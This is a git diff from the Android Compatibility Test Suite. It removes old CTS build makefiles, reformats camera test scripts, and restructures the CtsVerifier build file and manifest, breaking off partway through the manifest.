DO NOT MERGE: Skip multi-window test if not supported
am: 822725de02  -s ours

Change-Id: I97c367900685644d3177cbe17fbc02d2d46df1f8
diff --git a/.gitignore b/.gitignore
index 07a80d6..dbd5bcf 100644
--- a/.gitignore
+++ b/.gitignore
@@ -7,3 +7,5 @@
 /bin
 .idea/*
 .idea/
+gen/
+*.iml
diff --git a/Android.mk b/Android.mk
index 95ef508..1894043 100644
--- a/Android.mk
+++ b/Android.mk
@@ -14,16 +14,6 @@
 # limitations under the License.
 #
 
-include cts/OldCtsBuild.mk
 include cts/CtsCoverage.mk
 include $(call all-subdir-makefiles)
 
-
-# Have the default build also build the tools for CTS so it is possible
-# to build individual tests with mmm without doing extra targets first.
-files: \
-    $(CTS_JAVA_TEST_SCANNER_DOCLET) \
-    $(CTS_JAVA_TEST_SCANNER) \
-    $(CTS_NATIVE_TEST_SCANNER) \
-    $(CTS_XML_GENERATOR)
-
diff --git a/OldCtsBuild.mk b/OldCtsBuild.mk
deleted file mode 100644
index c745885..0000000
--- a/OldCtsBuild.mk
+++ /dev/null
@@ -1,45 +0,0 @@
-# Copyright (C) 2011 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-# Functions to get the paths of the build outputs.
-
-define cts-get-lib-paths
-	$(foreach lib,$(1),$(CTS_TESTCASES_OUT)/$(lib).jar)
-endef
-
-define cts-get-ui-lib-paths
-	$(foreach lib,$(1),$(CTS_TESTCASES_OUT)/$(lib).jar)
-endef
-
-define cts-get-native-paths
-	$(foreach exe,$(1),$(CTS_TESTCASES_OUT)/$(exe)$(2))
-endef
-
-define cts-get-package-paths
-	$(foreach pkg,$(1),$(CTS_TESTCASES_OUT)/$(pkg).apk)
-endef
-
-define cts-get-test-xmls
-	$(foreach name,$(1),$(CTS_TESTCASES_OUT)/$(name).xml)
-endef
-
-define cts-get-executable-paths
-	$(foreach executable,$(1),$(CTS_TESTCASES_OUT)/$(executable))
-endef
-
-define cts-get-deqp-test-xmls
-	$(foreach api,$(1),$(CTS_TESTCASES_OUT)/com.drawelements.deqp.$(api).xml)
-endef
diff --git a/OldCtsTestCaseList.mk b/OldCtsTestCaseList.mk
deleted file mode 100644
index ca299ee..0000000
--- a/OldCtsTestCaseList.mk
+++ /dev/null
@@ -1,335 +0,0 @@
-# Copyright (C) 2010 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-cts_security_apps_list := \
-    CtsAppAccessData \
-    CtsAppWithData \
-    CtsDeclareNonRuntimePermissions \
-    CtsDocumentProvider \
-    CtsDocumentClient \
-    CtsEncryptionApp \
-    CtsEscalateToRuntimePermissions \
-    CtsExternalStorageApp \
-    CtsInstrumentationAppDiffCert \
-    CtsNetSecPolicyUsesCleartextTrafficFalse \
-    CtsNetSecPolicyUsesCleartextTrafficTrue \
-    CtsNetSecPolicyUsesCleartextTrafficUnspecified \
-    CtsNoRestartBase \
-    CtsNoRestartFeature \
-    CtsUsePermissionApp22 \
-    CtsUsePermissionApp23 \
-    CtsUsePermissionApp24 \
-    CtsPermissionDeclareApp \
-    CtsPermissionDeclareAppCompat \
-    CtsPrivilegedUpdateTests \
-    CtsReadExternalStorageApp \
-    CtsSharedUidInstall \
-    CtsSharedUidInstallDiffCert \
-    CtsShimPrivUpgradePrebuilt \
-    CtsShimPrivUpgradeWrongSHAPrebuilt \
-    CtsSimpleAppInstall \
-    CtsSimpleAppInstallDiffCert \
-    CtsSplitApp \
-    CtsSplitApp_x86 \
-    CtsSplitApp_x86_64 \
-    CtsSplitApp_armeabi-v7a \
-    CtsSplitApp_armeabi \
-    CtsSplitApp_arm64-v8a \
-    CtsSplitApp_mips64 \
-    CtsSplitApp_mips \
-    CtsSplitAppDiffRevision \
-    CtsSplitAppDiffVersion \
-    CtsSplitAppDiffCert \
-    CtsSplitAppFeature \
-    CtsTargetInstrumentationApp \
-    CtsUsePermissionDiffCert \
-    CtsUsesLibraryApp \
-    CtsWriteExternalStorageApp \
-    CtsMultiUserStorageApp
-
-cts_security_keysets_list := \
-    CtsKeySetTestApp \
-    CtsKeySetPermDefSigningA \
-    CtsKeySetPermDefSigningB\
-    CtsKeySetPermUseSigningA \
-    CtsKeySetPermUseSigningB \
-    CtsKeySetSigningAUpgradeA \
-    CtsKeySetSigningBUpgradeA \
-    CtsKeySetSigningAUpgradeAAndB \
-    CtsKeySetSigningAUpgradeAOrB \
-    CtsKeySetSigningAUpgradeB \
-    CtsKeySetSigningBUpgradeB \
-    CtsKeySetSigningAAndBUpgradeA \
-    CtsKeySetSigningAAndCUpgradeB \
-    CtsKeySetSigningAUpgradeNone \
-    CtsKeySetSharedUserSigningAUpgradeB \
-    CtsKeySetSharedUserSigningBUpgradeB \
-    CtsKeySetSigningABadUpgradeB \
-    CtsKeySetSigningCBadAUpgradeAB \
-    CtsKeySetSigningANoDefUpgradeB \
-    CtsKeySetSigningAUpgradeEcA \
-    CtsKeySetSigningEcAUpgradeA
-
-cts_account_support_packages := \
-    CtsUnaffiliatedAccountAuthenticators
-
-cts_support_packages := \
-    CtsAbiOverrideTestApp \
-    CtsAccountManagementDevicePolicyApp \
-    CtsAdminApp \
-    CtsAlarmClockService \
-    CtsAppRestrictionsManagingApp \
-    CtsAppRestrictionsTargetApp \
-    CtsAppTestStubs \
-    CtsAppUsageTestApp \
-    CtsAssistService \
-    CtsAssistApp \
-    CtsAtraceTestApp \
-    CtsBackupApp \
-    CtsCertInstallerApp \
-    CtsContactDirectoryProvider \
-    CtsCustomizationApp \
-    CtsCppToolsApp \
-    CtsDeviceAdminApp23 \
-    CtsDeviceAdminApp24 \
-    CtsDeviceAndProfileOwnerApp23 \
-    CtsDeviceAndProfileOwnerApp \
-    CtsDeviceInfo \
-    CtsDeviceOsTestApp \
-    CtsDeviceOwnerApp \
-    CtsDeviceServicesTestApp \
-    CtsDeviceTaskSwitchingAppA \
-    CtsDeviceTaskSwitchingAppB \
-    CtsDeviceTaskSwitchingControl \
-    CtsDragAndDropSourceApp \
-    CtsDragAndDropTargetApp \
-    CtsExternalServiceService \
-    CtsHostsideNetworkTestsApp \
-    CtsHostsideNetworkTestsApp2 \
-    CtsIntentReceiverApp \
-    CtsIntentSenderApp \
-    CtsLauncherAppsTests \
-    CtsLauncherAppsTestsSupport \
-    CtsLeanbackJankApp \
-    CtsManagedProfileApp \
-    CtsMonkeyApp \
-    CtsMonkeyApp2 \
-    CtsPackageInstallerApp \
-    CtsPermissionApp \
-    CtsProfileOwnerApp \
-    CtsSimpleApp \
-    CtsSimplePreMApp \
-    CtsSomeAccessibilityServices \
-    CtsSystemUiDeviceApp \
-    CtsThemeDeviceApp \
-    CtsUsbSerialTestApp \
-    CtsVoiceInteractionService \
-    CtsVoiceInteractionApp \
-    CtsVoiceSettingsService \
-    CtsVpnFirewallApp \
-    CtsWidgetProviderApp \
-    CtsWifiConfigCreator \
-    TestDeviceSetup \
-    $(cts_account_support_packages) \
-    $(cts_security_apps_list) \
-    $(cts_security_keysets_list)
-
-cts_external_packages := \
-    com.replica.replicaisland \
-    com.drawelements.deqp
-
-# Any APKs that need to be copied to the CTS distribution's testcases
-# directory but do not require an associated test package XML.
-CTS_TEST_CASE_LIST := \
-    $(cts_support_packages) \
-    $(cts_external_packages)
-
-# Test packages that require an associated test package XML.
-cts_test_packages := \
-    CtsIcuTestCases \
-    CtsAccelerationTestCases \
-    CtsAccountManagerTestCases \
-    CtsAccessibilityServiceTestCases \
-    CtsAccessibilityTestCases \
-    CtsAdminTestCases \
-    CtsAlarmClockTestCases \
-    CtsAnimationTestCases \
-    CtsAppTestCases \
-    CtsAppWidgetTestCases \
-    CtsAssistTestCases \
-    CtsBackupTestCases \
-    CtsBluetoothTestCases \
-    CtsCalendarcommon2TestCases \
-    CtsCameraTestCases \
-    CtsCarTestCases \
-    CtsContentTestCases \
-    CtsDatabaseTestCases \
-    CtsDisplayTestCases \
-    CtsDpiTestCases \
-    CtsDpiTestCases2 \
-    CtsDramTestCases \
-    CtsDreamsTestCases \
-    CtsDrmTestCases \
-    CtsEffectTestCases \
-    CtsExternalServiceTestCases \
-    CtsFileSystemTestCases \
-    CtsGestureTestCases \
-    CtsGraphicsTestCases \
-    CtsGraphics2TestCases \
-    CtsHardwareTestCases \
-    CtsJankDeviceTestCases \
-    CtsLeanbackJankTestCases \
-    CtsJobSchedulerTestCases \
-    CtsJniTestCases \
-    CtsKeystoreTestCases \
-    CtsLibcoreLegacy22TestCases \
-    CtsLocationTestCases \
-    CtsLocation2TestCases \
-    CtsMediaStressTestCases \
-    CtsMediaTestCases \
-    CtsMidiTestCases \
-    CtsMultiUserTestCases \
-    CtsNdefTestCases \
-    CtsNetSecPolicyUsesCleartextTrafficFalseTestCases \
-    CtsNetSecPolicyUsesCleartextTrafficTrueTestCases \
-    CtsNetSecPolicyUsesCleartextTrafficUnspecifiedTestCases \
-    CtsNetTestCases \
-    CtsNetTestCasesLegacyApi22 \
-    CtsNetTestCasesLegacyPermission22 \
-    CtsNetSecConfigAttributeTestCases \
-    CtsNetSecConfigCleartextTrafficTestCases \
-    CtsNetSecConfigBasicDebugDisabledTestCases \
-    CtsNetSecConfigBasicDebugEnabledTestCases \
-    CtsNetSecConfigBasicDomainConfigTestCases \
-    CtsNetSecConfigInvalidPinTestCases \
-    CtsNetSecConfigNestedDomainConfigTestCases \
-    CtsNetSecConfigResourcesSrcTestCases \
-    CtsOpenGLTestCases \
-    CtsOpenGlPerfTestCases \
-    CtsOpenGlPerf2TestCases \
-    CtsOsTestCases \
-    CtsPermissionTestCases \
-    CtsPermission2TestCases \
-    CtsPreferenceTestCases \
-    CtsPreference2TestCases \
-    CtsPrintTestCases \
-    CtsProviderTestCases \
-    CtsRenderscriptTestCases \
-    CtsRenderscriptLegacyTestCases \
-    CtsRsBlasTestCases \
-    CtsRsCppTestCases \
-    CtsSaxTestCases \
-    CtsSecurityTestCases \
-    CtsSignatureTestCases \
-    CtsSimpleCpuTestCases \
-    CtsSpeechTestCases \
-    CtsSystemUiTestCases \
-    CtsTelecomTestCases \
-    CtsTelecomTestCases2 \
-    CtsTelephonyTestCases \
-    CtsTextTestCases \
-    CtsTextureViewTestCases \
-    CtsThemeDeviceTestCases \
-    CtsTransitionTestCases \
-    CtsTvProviderTestCases \
-    CtsTvTestCases \
-    CtsUiAutomationTestCases \
-    CtsUiRenderingTestCases \
-    CtsUiDeviceTestCases \
-    CtsUsageStatsTestCases \
-    CtsUtilTestCases \
-    CtsVideoTestCases \
-    CtsViewTestCases \
-    CtsVoiceInteractionTestCases \
-    CtsVoiceSettingsTestCases \
-    CtsWebkitTestCases \
-    CtsWidgetTestCases
-
-# All APKs that need to be scanned by the coverage utilities.
-CTS_COVERAGE_TEST_CASE_LIST := \
-    $(cts_support_packages) \
-    $(cts_test_packages)
-
-# Host side only tests
-cts_host_libraries := \
-    CtsAadbHostTestCases \
-    CtsAbiOverrideHostTestCases \
-    CtsAppSecurityHostTestCases \
-    CtsAppUsageHostTestCases \
-    CtsAtraceHostTestCases \
-    CtsCppToolsTestCases \
-    CtsDevicePolicyManagerTestCases \
-    CtsDragAndDropHostTestCases \
-    CtsDumpsysHostTestCases \
-    CtsHostsideNetworkTests \
-    CtsJdwpSecurityHostTestCases \
-    CtsMonkeyTestCases \
-    CtsOsHostTestCases \
-    CtsSecurityHostTestCases \
-    CtsServicesHostTestCases \
-    CtsThemeHostTestCases \
-    CtsUiHostTestCases \
-    CtsUsbTests \
-    CtsSystemUiHostTestCases
-
-# List of native tests. For 32 bit targets, assumes that there will be
-# one test executable, and it will end in 32. For 64 bit targets, assumes
-# that there will be two executables, one that ends in 32 for the 32
-# bit executable and one that ends in 64 for the 64 bit executable.
-cts_native_tests := \
-    CtsNativeMediaSlTestCases \
-    CtsNativeMediaXaTestCases \
-    CtsNativeNetTestCases \
-
-ifeq ($(HOST_OS)-$(HOST_ARCH),$(filter $(HOST_OS)-$(HOST_ARCH),linux-x86 linux-x86_64))
-cts_native_tests += CtsBionicTestCases
-cts_native_tests += CtsSimpleperfTestCases
-endif
-
-cts_device_jars := \
-    CtsJdwpApp
-
-cts_target_junit_tests := \
-    CtsJdwp \
-    CtsLibcoreOj
-
-cts_deqp_test_apis := \
-    egl \
-    gles2 \
-    gles3 \
-    gles31
-
-# All the files that will end up under the repository/testcases
-# directory of the final CTS distribution.
-CTS_TEST_CASES := $(call cts-get-lib-paths,$(cts_host_libraries)) \
-    $(call cts-get-package-paths,$(cts_test_packages)) \
-    $(call cts-get-ui-lib-paths,$(cts_device_jars)) \
-    $(call cts-get-ui-lib-paths,$(cts_target_junit_tests)) \
-    $(call cts-get-executable-paths,$(cts_device_executables)) \
-    $(call cts-get-native-paths,$(cts_native_tests),32)
-
-ifeq ($(TARGET_IS_64_BIT),true)
-CTS_TEST_CASES += $(call cts-get-native-paths,$(cts_native_tests),64)
-endif
-
-# All the XMLs that will end up under the repository/testcases
-# and that need to be created before making the final CTS distribution.
-CTS_TEST_XMLS := $(call cts-get-test-xmls,$(cts_host_libraries)) \
-    $(call cts-get-test-xmls,$(cts_test_packages)) \
-    $(call cts-get-test-xmls,$(cts_native_tests)) \
-    $(call cts-get-test-xmls,$(cts_target_junit_tests)) \
-    $(call cts-get-deqp-test-xmls,$(cts_deqp_test_apis))
-
-# The following files will be placed in the tools directory of the CTS distribution
-CTS_TOOLS_LIST :=
diff --git a/apps/CameraITS/tests/scene0/test_metadata.py b/apps/CameraITS/tests/scene0/test_metadata.py
index 00fb1d6..e5fbba5 100644
--- a/apps/CameraITS/tests/scene0/test_metadata.py
+++ b/apps/CameraITS/tests/scene0/test_metadata.py
@@ -86,8 +86,8 @@
         pixel_pitch_w = (sensor_size["width"] / fmts[0]["width"] * 1E3)
         print "Assert pixel_pitch WxH: %.2f um, %.2f um" % (pixel_pitch_w,
                                                             pixel_pitch_h)
-        assert 0.9 <= pixel_pitch_w <= 10
-        assert 0.9 <= pixel_pitch_h <= 10
+        assert 1.0 <= pixel_pitch_w <= 10
+        assert 1.0 <= pixel_pitch_h <= 10
         assert 0.333 <= pixel_pitch_w/pixel_pitch_h <= 3.0
 
         diag = math.sqrt(sensor_size["height"] ** 2 +
diff --git a/apps/CameraITS/tests/scene1/test_linearity.py b/apps/CameraITS/tests/scene1/test_linearity.py
index 4f82540..9de1af3 100644
--- a/apps/CameraITS/tests/scene1/test_linearity.py
+++ b/apps/CameraITS/tests/scene1/test_linearity.py
@@ -24,14 +24,6 @@
 import matplotlib
 import matplotlib.pyplot
 
-NAME = os.path.basename(__file__).split('.')[0]
-RESIDUAL_THRESHOLD = 0.0003  # approximately each sample is off by 2/255
-# The HAL3.2 spec requires that curves up to 64 control points in length
-# must be supported.
-L = 64
-LM1 = float(L-1)
-
-
 def main():
     """Test that device processing can be inverted to linear pixels.
 
@@ -39,10 +31,19 @@
     target. Attempts to invert all the ISP processing to get back to
     linear R,G,B pixel data.
     """
+    NAME = os.path.basename(__file__).split(".")[0]
+
+    RESIDUAL_THRESHOLD = 0.0003 # approximately each sample is off by 2/255
+
+    # The HAL3.2 spec requires that curves up to 64 control points in length
+    # must be supported.
+    L = 64
+    LM1 = float(L-1)
+
     gamma_lut = numpy.array(
-        sum([[i/LM1, math.pow(i/LM1, 1/2.2)] for i in xrange(L)], []))
+            sum([[i/LM1, math.pow(i/LM1, 1/2.2)] for i in xrange(L)], []))
     inv_gamma_lut = numpy.array(
-        sum([[i/LM1, math.pow(i/LM1, 2.2)] for i in xrange(L)], []))
+            sum([[i/LM1, math.pow(i/LM1, 2.2)] for i in xrange(L)], []))
 
     with its.device.ItsSession() as cam:
         props = cam.get_camera_properties()
@@ -57,30 +58,30 @@
             match_ar = (largest_yuv['width'], largest_yuv['height'])
             fmt = its.objects.get_smallest_yuv_format(props, match_ar=match_ar)
 
-        e, s = its.target.get_target_exposure_combos(cam)['midSensitivity']
+        e,s = its.target.get_target_exposure_combos(cam)["midSensitivity"]
         s /= 2
         sens_range = props['android.sensor.info.sensitivityRange']
         sensitivities = [s*1.0/3.0, s*2.0/3.0, s, s*4.0/3.0, s*5.0/3.0]
         sensitivities = [s for s in sensitivities
-                         if s > sens_range[0] and s < sens_range[1]]
+                if s > sens_range[0] and s < sens_range[1]]
 
         req = its.objects.manual_capture_request(0, e)
-        req['android.blackLevel.lock'] = True
-        req['android.tonemap.mode'] = 0
-        req['android.tonemap.curveRed'] = gamma_lut.tolist()
-        req['android.tonemap.curveGreen'] = gamma_lut.tolist()
-        req['android.tonemap.curveBlue'] = gamma_lut.tolist()
+        req["android.blackLevel.lock"] = True
+        req["android.tonemap.mode"] = 0
+        req["android.tonemap.curveRed"] = gamma_lut.tolist()
+        req["android.tonemap.curveGreen"] = gamma_lut.tolist()
+        req["android.tonemap.curveBlue"] = gamma_lut.tolist()
 
         r_means = []
         g_means = []
         b_means = []
 
         for sens in sensitivities:
-            req['android.sensor.sensitivity'] = sens
+            req["android.sensor.sensitivity"] = sens
             cap = cam.do_capture(req, fmt)
             img = its.image.convert_capture_to_rgb_image(cap)
             its.image.write_image(
-                img, '%s_sens=%04d.jpg' % (NAME, sens))
+                    img, "%s_sens=%04d.jpg" % (NAME, sens))
             img = its.image.apply_lut_to_image(img, inv_gamma_lut[1::2] * LM1)
             tile = its.image.get_image_patch(img, 0.45, 0.45, 0.1, 0.1)
             rgb_means = its.image.compute_image_means(tile)
@@ -88,22 +89,17 @@
             g_means.append(rgb_means[1])
             b_means.append(rgb_means[2])
 
-        pylab.title(NAME)
-        pylab.plot(sensitivities, r_means, '-ro')
-        pylab.plot(sensitivities, g_means, '-go')
-        pylab.plot(sensitivities, b_means, '-bo')
-        pylab.xlim([sens_range[0], sens_range[1]/2])
-        pylab.ylim([0, 1])
-        pylab.xlabel('sensitivity(ISO)')
-        pylab.ylabel('RGB avg [0, 1]')
-        matplotlib.pyplot.savefig('%s_plot_means.png' % (NAME))
+        pylab.plot(sensitivities, r_means, 'r')
+        pylab.plot(sensitivities, g_means, 'g')
+        pylab.plot(sensitivities, b_means, 'b')
+        pylab.ylim([0,1])
+        matplotlib.pyplot.savefig("%s_plot_means.png" % (NAME))
 
         # Check that each plot is actually linear.
         for means in [r_means, g_means, b_means]:
-            line, residuals, _, _, _ = numpy.polyfit(range(len(sensitivities)),
-                                                     means, 1, full=True)
-            print 'Line: m=%f, b=%f, resid=%f'%(line[0], line[1], residuals[0])
-            assert residuals[0] < RESIDUAL_THRESHOLD
+            line,residuals,_,_,_  = numpy.polyfit(range(5),means,1,full=True)
+            print "Line: m=%f, b=%f, resid=%f"%(line[0], line[1], residuals[0])
+            assert(residuals[0] < RESIDUAL_THRESHOLD)
 
 if __name__ == '__main__':
     main()
diff --git a/apps/CtsVerifier/Android.mk b/apps/CtsVerifier/Android.mk
index 304c982..5c36794 100644
--- a/apps/CtsVerifier/Android.mk
+++ b/apps/CtsVerifier/Android.mk
@@ -26,7 +26,6 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src) $(call all-Iaidl-files-under, src)
 
 LOCAL_STATIC_JAVA_LIBRARIES := android-ex-camera2 \
-                               android-support-v4 \
                                compatibility-common-util-devicesidelib \
                                cts-sensors-tests \
                                cts-location-tests \
@@ -36,9 +35,10 @@
                                ctsverifier-opencv \
                                core-tests-support \
                                android-support-v4  \
-                               mockito-target \
+                               mockito-target-minus-junit4 \
                                mockwebserver \
                                compatibility-device-util \
+                               platform-test-annotations
 
 LOCAL_PACKAGE_NAME := CtsVerifier
 
@@ -52,8 +52,6 @@
 
 LOCAL_DEX_PREOPT := false
 
-LOCAL_JAVA_LANGUAGE_VERSION := 1.8
-
 include $(BUILD_PACKAGE)
 
 # Build CTS verifier framework as a libary.
@@ -74,7 +72,6 @@
 LOCAL_SRC_FILES := \
     $(call java-files-in, src/com/android/cts/verifier) \
     $(call java-files-in, src/com/android/cts/verifier/backup) \
-    $(call all-java-files-under, src/android) \
     $(call all-Iaidl-files-under, src)
 
 LOCAL_STATIC_JAVA_LIBRARIES := android-support-v4 \
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml
index 258c3c7..4823e29 100644
--- a/apps/CtsVerifier/AndroidManifest.xml
+++ b/apps/CtsVerifier/AndroidManifest.xml
@@ -18,7 +18,7 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
       package="com.android.cts.verifier"
       android:versionCode="5"
-      android:versionName="7.1_r9">
+      android:versionName="7.1_r201703s">
 
     <uses-sdk android:minSdkVersion="19" android:targetSdkVersion="25"/>
 
@@ -67,12 +67,16 @@
 
     <application android:label="@string/app_name"
             android:icon="@drawable/icon"
+            android:backupAgent="VerifierBackupAgent"
             android:debuggable="true"
             android:largeHeap="true"
             android:theme="@android:style/Theme.DeviceDefault">
 
         <meta-data android:name="SuiteName" android:value="CTS_VERIFIER" />
 
+        <meta-data android:name="com.google.android.backup.api_key"
+                android:value="AEdPqrEAAAAIbK6ldcOzoeRtQ1u1dFVJ1A7KetRhit-a1Xa82Q" />
+
         <uses-library android:name="android.test.runner"/>
 
         <activity android:name=".TestListActivity" android:label="@string/app_name" />
@@ -137,209 +141,788 @@
                     android:value="android.software.device_admin" />
         </activity>
 
-        <activity android:name=".bluetooth.BluetoothTestActivity"
-                android:label="@string/bluetooth_test"
-                android:configChanges="keyboardHidden|orientation|screenSize">
+        <activity android:name=".backup.BackupTestActivity" android:label="@string/backup_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
                 <category android:name="android.cts.intent.category.MANUAL_TEST" />
             </intent-filter>
-            <meta-data android:name="test_category" android:value="@string/test_category_networking" />
-            <meta-data android:name="test_required_features" android:value="android.hardware.bluetooth" />
-        </activity>
-
-        <activity android:name=".bluetooth.BluetoothToggleActivity"
-                android:label="@string/bt_toggle_bluetooth"
-                android:configChanges="keyboardHidden|orientation|screenSize">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.cts.intent.category.MANUAL_TEST" />
-            </intent-filter>
-            <meta-data android:name="test_category" android:value="@string/bt_control" />
-            <meta-data android:name="test_parent" android:value="com.android.cts.verifier.bluetooth.BluetoothTestActivity" />
-            <meta-data android:name="test_excluded_features" android:value="android.software.leanback" />
-        </activity>
-
-        <activity android:name=".bluetooth.SecureServerActivity"
-                android:label="@string/bt_secure_server"
-                android:configChanges="keyboardHidden|orientation|screenSize">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.cts.intent.category.MANUAL_TEST" />
-            </intent-filter>
-            <meta-data android:name="test_category" android:value="@string/bt_device_communication" />
-            <meta-data android:name="test_parent" android:value="com.android.cts.verifier.bluetooth.BluetoothTestActivity" />
-        </activity>
-
-        <activity android:name=".bluetooth.InsecureServerActivity"
-                android:label="@string/bt_insecure_server"
-                android:configChanges="keyboardHidden|orientation|screenSize">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.cts.intent.category.MANUAL_TEST" />
-            </intent-filter>
-            <meta-data android:name="test_category" android:value="@string/bt_device_communication" />
-            <meta-data android:name="test_parent" android:value="com.android.cts.verifier.bluetooth.BluetoothTestActivity" />
-        </activity>
-
-        <activity android:name=".bluetooth.SecureClientActivity"
-                android:label="@string/bt_secure_client"
-                android:configChanges="keyboardHidden|orientation|screenSize">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.cts.intent.category.MANUAL_TEST" />
-            </intent-filter>
-            <meta-data android:name="test_category" android:value="@string/bt_device_communication" />
-            <meta-data android:name="test_parent" android:value="com.android.cts.verifier.bluetooth.BluetoothTestActivity" />
-        </activity>
-
-        <activity android:name=".bluetooth.InsecureClientActivity"
-                android:label="@string/bt_insecure_client"
-                android:configChanges="keyboardHidden|orientation|screenSize">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.cts.intent.category.MANUAL_TEST" />
-            </intent-filter>
-            <meta-data android:name="test_category" android:value="@string/bt_device_communication" />
-            <meta-data android:name="test_parent" android:value="com.android.cts.verifier.bluetooth.BluetoothTestActivity" />
-        </activity>
-
-        <activity android:name=".bluetooth.ConnectionAccessServerActivity"
-                android:label="@string/bt_connection_access_server"
-                android:configChanges="keyboardHidden|orientation|screenSize">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-            </intent-filter>
-            <meta-data android:name="test_category" android:value="@string/bt_device_communication" />
-            <meta-data android:name="test_parent" android:value="com.android.cts.verifier.bluetooth.BluetoothTestActivity" />
-        </activity>
-
-        <activity android:name=".bluetooth.ConnectionAccessClientActivity"
-                android:label="@string/bt_connection_access_client"
-                android:configChanges="keyboardHidden|orientation|screenSize">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-            </intent-filter>
-            <meta-data android:name="test_category" android:value="@string/bt_device_communication" />
-            <meta-data android:name="test_parent" android:value="com.android.cts.verifier.bluetooth.BluetoothTestActivity" />
-        </activity>
-
-        <activity android:name=".bluetooth.DevicePickerActivity"
-                android:label="@string/bt_device_picker"
-                android:configChanges="keyboardHidden|orientation|screenSize" />
-
-        <service android:name=".bluetooth.BleClientService"
-                android:label="@string/ble_client_service_name" />
-
-        <service android:name=".bluetooth.BleServerService"
-                android:label="ble_server_service_name" />
-
-        <service android:name=".bluetooth.BleAdvertiserService"
-                android:label="@string/ble_advertiser_service_name" />
-
-        <service android:name=".bluetooth.BleScannerService"
-                android:label="@string/ble_scanner_service_name" />
-
-        <!-- Uncomment until b/15657182, b/18283088 fixed
-        <activity android:name=".bluetooth.BleClientStartActivity"
-                android:label="@string/ble_client_test_name"
-                android:configChanges="keyboardHidden|orientation|screenSize">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.cts.intent.category.MANUAL_TEST" />
-            </intent-filter>
-            <meta-data android:name="test_category" android:value="@string/bt_le" />
-            <meta-data android:name="test_parent" android:value="com.android.cts.verifier.bluetooth.BluetoothTestActivity" />
             <meta-data android:name="test_required_features"
-                       android:value="android.hardware.bluetooth_le"/>
+                    android:value="android.software.backup" />
         </activity>
 
-        <activity android:name=".bluetooth.BleServerStartActivity"
-                android:label="@string/ble_server_start_name"
-                android:configChanges="keyboardHidden|orientation|screenSize">
+	<!-- Further work is required for this test, b/32798562  -->
+        <!-- activity android:name=".backup.BackupAccessibilityTestActivity" android:label="@string/backup_accessibility_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
                 <category android:name="android.cts.intent.category.MANUAL_TEST" />
             </intent-filter>
-            <meta-data android:name="test_category" android:value="@string/bt_le" />
-            <meta-data android:name="test_parent" android:value="com.android.cts.verifier.bluetooth.BluetoothTestActivity" />
             <meta-data android:name="test_required_features"
-                       android:value="android.hardware.bluetooth_le"/>
-        </activity> -->
+                    android:value="android.software.backup" />
+        </activity -->
 
-        <activity android:name=".bluetooth.BleScannerTestActivity"
-                android:label="@string/ble_scanner_test_name"
-                android:configChanges="keyboardHidden|orientation|screenSize">
+<!--            CTS Verifier Bluetooth Test Top Screen -->
+        <activity
+            android:name=".bluetooth.BluetoothTestActivity"
+            android:configChanges="keyboardHidden|orientation|screenSize"
+            android:label="@string/bluetooth_test" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
+
                 <category android:name="android.cts.intent.category.MANUAL_TEST" />
             </intent-filter>
-            <meta-data android:name="test_category" android:value="@string/bt_le" />
-            <meta-data android:name="test_parent" android:value="com.android.cts.verifier.bluetooth.BluetoothTestActivity" />
-            <meta-data android:name="test_required_features"
-                       android:value="android.hardware.bluetooth_le"/>
+
+            <meta-data
+                android:name="test_category"
+                android:value="@string/test_category_networking" />
+            <meta-data
+                android:name="test_required_features"
+                android:value="android.hardware.bluetooth" />
         </activity>
 
-        <activity android:name=".bluetooth.BleScannerPowerLevelActivity"
-                android:label="@string/ble_power_level_name"
-                android:configChanges="keyboardHidden|orientation|screenSize">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.cts.intent.category.MANUAL_TEST" />
-            </intent-filter>
-            <meta-data android:name="test_category" android:value="@string/bt_le" />
-            <meta-data android:name="test_parent" android:value="com.android.cts.verifier.bluetooth.BleScannerTestActivity" />
-        </activity>
-
-        <!-- Comment out until we have a better way to validate the hardware scan filter
-        <activity android:name=".bluetooth.BleScannerHardwareScanFilterActivity"
-                android:label="@string/ble_scanner_scan_filter_name"
-                android:configChanges="keyboardHidden|orientation|screenSize">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.cts.intent.category.MANUAL_TEST" />
-            </intent-filter>
-            <meta-data android:name="test_category" android:value="@string/bt_le" />
-            <meta-data android:name="test_parent" android:value="com.android.cts.verifier.bluetooth.BleScannerTestActivity" />
-        </activity>
+        <!--
+             CTS Verifier Bluetooth Toggle Test Screen
+                 test category : bt_control
+                 test parent : BluetoothTestActivity
         -->
-
-        <activity android:name=".bluetooth.BleAdvertiserTestActivity"
-                android:label="@string/ble_advertiser_test_name"
